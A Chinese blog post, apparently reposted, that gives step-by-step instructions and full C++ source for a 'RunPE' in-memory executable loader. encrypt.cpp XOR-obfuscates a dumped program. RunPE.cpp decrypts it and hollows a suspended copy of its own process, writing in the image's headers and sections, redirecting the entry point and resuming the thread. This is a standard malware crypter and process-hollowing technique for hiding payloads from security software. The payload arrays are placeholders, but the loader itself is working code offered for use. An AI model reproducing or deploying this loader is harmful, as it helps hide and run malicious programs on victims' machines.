当前位置: 首页 > news >正文

内存运行PE文件

内存中运行文件

拿exe并在HxD或010中打开 - cntrl+a copy as C
粘贴到encrypt.cpp
编译并运行encrypt.cpp - 创建shellcode.txt
从shellcode.txt复制char数组,并替换runPE.cpp中的rawData []
编译生成最终的runPE.exe
使用XOR密钥解密,加载到内存中执行。

encrypt.cpp

//encrypt shellcode prior to storing in stub
//store in shellcodeEncrypted.txt
//copy into runPE.cpp

#include <iostream>
#include <fstream>
#include <string>
using namespace std;

//Real PE shellcode dump here - fix length also
const int length = 2;
unsigned char rawData[length] = {
    0x00, 0xff
};


void crypt(unsigned char rawData[], int length)
{
    char key = 0x42;
    for (int i = 0; i < length; i++)
    {
        rawData[i] = (char)(rawData[i] ^ key);
    }
}

struct HexCharStruct
{
    unsigned char c;
    HexCharStruct(unsigned char _c) : c(_c) { }
};

inline std::ostream& operator<<(std::ostream& o, const HexCharStruct& hs)
{
    return (o << std::hex << (int)hs.c);
}

inline HexCharStruct hex(unsigned char _c)
{
    return HexCharStruct(_c);
}

int main()
{
    ofstream output;
    output.open("shellcodeEncrypted.txt");
    crypt(rawData, length);
    output << "unsigned char rawData[" << to_string(length) << "]" \
        << " = { ";
    for (int i = 0; i < length; i++)
    {
        output << "0x" << hex(rawData[i]) << ",";
        if (i % 20 == 0)
        {
            output << endl;
        }
    }
    output << "};";
}

RunPE.cpp

#include <iostream> // Standard C++ library for console I/O
#include <string> // Standard C++ Library for string manip
#include <fstream> 
#include <Windows.h> // WinAPI Header
#include <TlHelp32.h> //WinAPI Process API


// use this if you want to read the executable from disk
HANDLE MapFileToMemory(LPCSTR filename)
{
    std::streampos size;
    std::fstream file(filename, std::ios::in | std::ios::binary | std::ios::ate);
    if (file.is_open())
    {
        size = file.tellg();

        char* Memblock = new char[size]();

        file.seekg(0, std::ios::beg);
        file.read(Memblock, size);
        file.close();

        return Memblock;
    }
    return 0;
}

int RunPortableExecutable(void* Image)
{
    IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
    IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
    IMAGE_SECTION_HEADER* SectionHeader;

    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;

    CONTEXT* CTX;

    DWORD* ImageBase; //Base address of the image
    void* pImageBase; // Pointer to the image base

    int count;
    char CurrentFilePath[1024];

    DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
    NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize

    GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable

    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
    {
        ZeroMemory(&PI, sizeof(PI)); // Null the memory
        ZeroMemory(&SI, sizeof(SI)); // Null the memory

        if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
            CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
                                                     //process in suspended state, for the new image.
        {
            // Allocate memory for the context.
            CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
            CTX->ContextFlags = CONTEXT_FULL; // Context is allocated

            if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
            {
                // Read instructions
                ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);

                pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
                    NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

                // Write the image to the process
                WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);

                for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
                {
                    SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));

                    WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
                        LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
                }
                WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),
                    LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);

                // Move address of entry point to the eax register
                CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
                SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
                ResumeThread(PI.hThread); //´Start the process/call main()

                return 0; // Operation was successful.
            }
        }
    }
}

// enter valid bytes of a program here.
//Using 010 Hex editor or HxD - copy all as C hex works perfectly. A complete hexdump, no magic ;)
void decrypt(unsigned char rawData[], int length)
{
    char key = 0x42;
    for (int i = 0; i < length; i++)
    {
        rawData[i] = (char)(rawData[i] ^ key);
    }
}

//Place encrypted shellcode here - fix length also!
const int length = 2;
unsigned char rawData[length] = {
    0x00, 0x00
};


int main()
{
    decrypt(rawData, length);
    RunPortableExecutable(rawData); // run executable from the array
    getchar();
}

转载于:https://www.cnblogs.com/17bdw/p/11422403.html

相关文章:

  • Mysql数据库
  • Apache Kafka(六)- High Throughput Producer
  • 设计模式-策略模式
  • CTF 资源
  • hibernate的id生成策略
  • Apache Kafka(七)- Kafka ElasticSearch Comsumer
  • Apache Kafka(八)- Kafka Delivery Semantics for Consumers
  • liquibase 注意事项
  • Red Team远程控制软件
  • upload-labs 上传漏洞靶场环境以及writeup
  • Hive on Tez 中 Map 任务的数量计算
  • countUp.js-数字滚动效果(简单基础使用)
  • Windows 搭建 nginx rtmp服务器
  • MySQL的sql_mode模式说明及设置
  • my read law / notarization / gongzheng
  • 《Java8实战》-第四章读书笔记(引入流Stream)
  • 【402天】跃迁之路——程序员高效学习方法论探索系列(实验阶段159-2018.03.14)...
  • ➹使用webpack配置多页面应用(MPA)
  • Docker下部署自己的LNMP工作环境
  • JavaScript标准库系列——Math对象和Date对象(二)
  • MYSQL如何对数据进行自动化升级--以如果某数据表存在并且某字段不存在时则执行更新操作为例...
  • Terraform入门 - 3. 变更基础设施
  • 百度地图API标注+时间轴组件
  • 短视频宝贝=慢?阿里巴巴工程师这样秒开短视频
  • 前端工程化(Gulp、Webpack)-webpack
  • 前端面试之CSS3新特性
  • 浅谈web中前端模板引擎的使用
  • 软件开发学习的5大技巧,你知道吗?
  • 微信小程序--------语音识别(前端自己也能玩)
  • 从如何停掉 Promise 链说起
  • ​​​​​​​​​​​​​​Γ函数
  • ​LeetCode解法汇总2670. 找出不同元素数目差数组
  • ​无人机石油管道巡检方案新亮点:灵活准确又高效
  • # Panda3d 碰撞检测系统介绍
  • #162 (Div. 2)
  • #pragma data_seg 共享数据区(转)
  • (+4)2.2UML建模图
  • (2022 CVPR) Unbiased Teacher v2
  • (JSP)EL——优化登录界面,获取对象,获取数据
  • (Redis使用系列) Springboot 使用redis实现接口Api限流 十
  • (webRTC、RecordRTC):navigator.mediaDevices undefined
  • (附源码)spring boot北京冬奥会志愿者报名系统 毕业设计 150947
  • (附源码)springboot宠物医疗服务网站 毕业设计688413
  • (黑马C++)L06 重载与继承
  • (六)vue-router+UI组件库
  • (十)【Jmeter】线程(Threads(Users))之jp@gc - Stepping Thread Group (deprecated)
  • (数位dp) 算法竞赛入门到进阶 书本题集
  • (详细版)Vary: Scaling up the Vision Vocabulary for Large Vision-Language Models
  • (轉)JSON.stringify 语法实例讲解
  • . ./ bash dash source 这五种执行shell脚本方式 区别
  • .bat批处理(四):路径相关%cd%和%~dp0的区别
  • .gitignore
  • .h头文件 .lib动态链接库文件 .dll 动态链接库
  • .net 后台导出excel ,word
  • .NET 中 GetHashCode 的哈希值有多大概率会相同(哈希碰撞)